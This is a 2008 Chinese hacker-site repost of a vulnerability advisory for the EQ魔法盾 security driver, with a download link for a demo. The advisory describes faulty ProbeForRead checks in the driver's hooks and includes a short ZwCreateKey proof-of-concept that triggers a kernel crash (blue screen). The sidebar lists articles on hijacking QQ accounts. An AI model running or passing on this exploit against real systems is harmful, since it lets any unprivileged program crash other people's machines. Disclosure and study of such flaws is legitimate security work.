首 页文章中心黑客工具黑吧学院技术论坛安全培训免费频道最近更新瑞星在线杀毒黑吧百度繁體中文
  设为首页
加入收藏
发布作品
   
栏目导航
· 安全新闻
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
EQ魔法盾 4.0增强版(version:20080902及以下)多处内核拒绝服务漏洞
作者:佚名  来源:转载  发布时间:2008-10-9 2:51:31  发布人:黑客动画吧

减小字体 增大字体

EQ魔法盾的驱动程序员对用户态参数检查有一定概念,可惜没有正确理解ProbeForRead的用法,导致几乎所有的SSDT HOOK函数都存在用户态检查不正确的问题,漏洞多达数十处。

此漏洞可导致任意用户权限的程序可以在安装了EQ魔法盾的系统上引发蓝屏

出问题的组件:EQSysSecure.sys ,版本:2008.9.1.26 CheckSum = 0x0001EFD3 TimeStamp = 0x48BAC155

EQ魔法盾的驱动中有这样一个函数 :偏移608d处 sub_16c8d

该函数处于一个带Try..Except的结构中,使用ProbeForRead来检查参数

检查完毕后即直接用户态参数,而实际上,如果传入用户态无效地址,ProbeForRead是不会产生任何反应的,因此读写用户态缓存的代码也必须置于结构化异常处理之中。

这个问题存在于EQ的大部分HOOK函数中,有几十处之多,这里只举出一个例子:

ZwCreateKey,下面是测试代码,运行此代码后安装了EQ魔法盾的系统上即会引发蓝屏重启:

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwCreateKey");

__asm{
push 0
push 0
push 0
push 0
push 1
push 0
push 0
call p
}

测试程序下载:http://mj0011.ys168.com ,漏洞演示下BSOD_EQ.rar
[ ] [返回上一页] [打 印] [收 藏]
 
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站导航 - 作品发布
互联网备案登记:粤ICP备05008775号
友情提示:浏览本站,请使用IE6.0浏览,并将分辩率设置为1024*768 为佳
Copyright © 2002-2005 Hack58.Com. All Rights Reserved .